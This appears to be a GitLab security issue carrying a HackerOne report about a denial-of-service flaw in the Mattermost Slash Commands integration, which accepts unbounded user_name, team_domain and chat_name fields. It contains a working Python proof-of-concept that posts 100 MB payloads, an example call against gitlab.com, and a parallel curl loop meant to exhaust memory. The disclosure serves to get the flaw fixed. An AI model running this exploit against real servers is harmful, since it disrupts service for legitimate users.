Mattermost integration: chat_name and team_domain are unbounded

⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2987614 by pwnie on 2025-02-11, assigned to GitLab Team:

Report | How To Reproduce

Report

Summary

The GitLab Mattermost Slash Commands integration accepts unbounded data in fields such as user_name, team_domain, and chat_name. An attacker can supply a payload containing massive amounts of data (e.g., 100 MB of base64-encoded random data) in these fields. This lack of input validation forces the server to allocate excessive memory, ultimately leading to a denial-of-service (DoS) condition.


Steps to Reproduce
  1. Configure the Integration

    • On your self-hosted GitLab instance, navigate to Settings → Integrations on a project page.
    • Locate and enable the Mattermost Slash Commands integration.
    • Set the integration token to pwned (or any token of your choice) and save the settings.
  2. Deploy and Run the Proof-of-Concept Script

    Save the following script as script.py:

    import os  
    import base64  
    import requests  
    import random  
    import argparse
    
    def generate_random_team_domain():  
        # Generate 100 MB of base64 data.  
        # Base64 expands by 4/3 so we need (3/4)*(100 MB) random bytes.  
        random_bytes_needed = int((3/4) * (100 * 1024 * 1024))  
        return base64.b64encode(os.urandom(random_bytes_needed)).decode('utf-8')
    
    def generate_random_chat_name():  
        # Generate 100 MB of base64 data.  
        # (Copied from generate_random_team_domain for consistency.)  
        random_bytes_needed = int((3/4) * (100 * 1024 * 1024))  
        return base64.b64encode(os.urandom(random_bytes_needed)).decode('utf-8')
    
    def main():  
        parser = argparse.ArgumentParser(  
            description="Send a Mattermost slash command payload with random team_domain, user_name, and chat_name."  
        )  
        parser.add_argument('--url', required=True, help="API endpoint URL")  
        parser.add_argument('--token', required=True, help="Integration token")  
        parser.add_argument('--user_id', help="User ID. If omitted, a large random number will be generated.")  
        parser.add_argument('--team_id', help="Team ID. If omitted, a large random number will be generated.")  
        parser.add_argument('--response_url', required=True, help="Response URL")  
        parser.add_argument('--command', required=True, help="Command (e.g., /gitlab)")  
        parser.add_argument('--text', required=True, help="Text for the command")  
        parser.add_argument('--user_name', help="User name. If omitted, the generated team_domain value is used as fallback.")
    
        args = parser.parse_args()
    
        # Generate user_id and team_id if not provided.  
        user_id = args.user_id if args.user_id else str(random.randint(10**15, 10**18))  
        team_id = args.team_id if args.team_id else str(random.randint(10**15, 10**18))
    
        # Always generate random team_domain (100 MB of base64 data)  
        team_domain = generate_random_team_domain()
    
        # Always generate random chat_name (100 MB of base64 data)  
        chat_name = generate_random_chat_name()
    
        # Use provided user_name if available, otherwise fallback to team_domain.  
        user_name = args.user_name if args.user_name else team_domain
    
        payload = {  
            "token": args.token,  
            "user_id": user_id,  
            "team_id": team_id,  
            "response_url": args.response_url,  
            "command": args.command,  
            "text": args.text,  
            "user_name": user_name,  
            "team_domain": team_domain,  
            "chat_name": chat_name  
        }
    
        headers = {  
            "Content-Type": "application/x-www-form-urlencoded"  
        }
    
        response = requests.post(args.url, data=payload, headers=headers)  
        print("Status Code:", response.status_code)  
        print("Response:", response.text)
    
    if __name__ == "__main__":  
        main()  

    Execute the script with the appropriate parameters. For example:

    python script.py \  
      --url "https://gitlab.com/api/v4/projects/<PROJECT_ID>/integrations/mattermost_slash_commands/trigger" \  
      --token "pwned" \  
      --response_url "https://example.com" \  
      --command "/gitlab" \  
      --text "test"  
  3. Verify the Response

    The payload sent by the script includes 100 MB of base64 data in the team_domain, user_name (if not explicitly provided), and chat_name fields. When processed by the server, this oversized payload forces it to allocate a significant amount of memory.

  4. Trigger Additional Memory Exhaustion

    The integration returns a URL for confirming the chat name. Use this URL to further stress the server’s memory by sending multiple requests:

    seq 1 100 | xargs -P 20 -I{} curl "https://gitlab.com/-/profile/chat_names/new?token=token"  

    Note: Replace token and the URL with the actual values returned by your instance. This step confirms the chat name and further exacerbates the DoS impact by repeatedly invoking the confirmation endpoint.


Impact

An attacker can exploit this vulnerability by supplying arbitrarily large payloads to the GitLab Mattermost Slash Commands integration. The unbounded memory allocation for fields such as user_name, team_domain, and chat_name may lead to:

  • Denial of Service (DoS): The server can become unresponsive or crash due to memory exhaustion.
  • Resource Exhaustion: Legitimate users may experience degraded performance or complete service disruption.

Components Affected
  • GitLab Mattermost Slash Commands Integration:
    The vulnerable API endpoint (/integrations/mattermost_slash_commands/trigger) accepts oversized values for user_name, team_domain, and chat_name without enforcing size restrictions.

Impact

An attacker can exploit this vulnerability by supplying arbitrarily large payloads to the GitLab Mattermost Slash Commands integration. The unbounded memory allocation for fields such as user_name, team_domain, and chat_name may lead to:

  • Denial of Service (DoS): The server can become unresponsive or crash due to memory exhaustion.
  • Resource Exhaustion: Legitimate users may experience degraded performance or complete service disruption.

How To Reproduce

Please add reproducibility information to this section: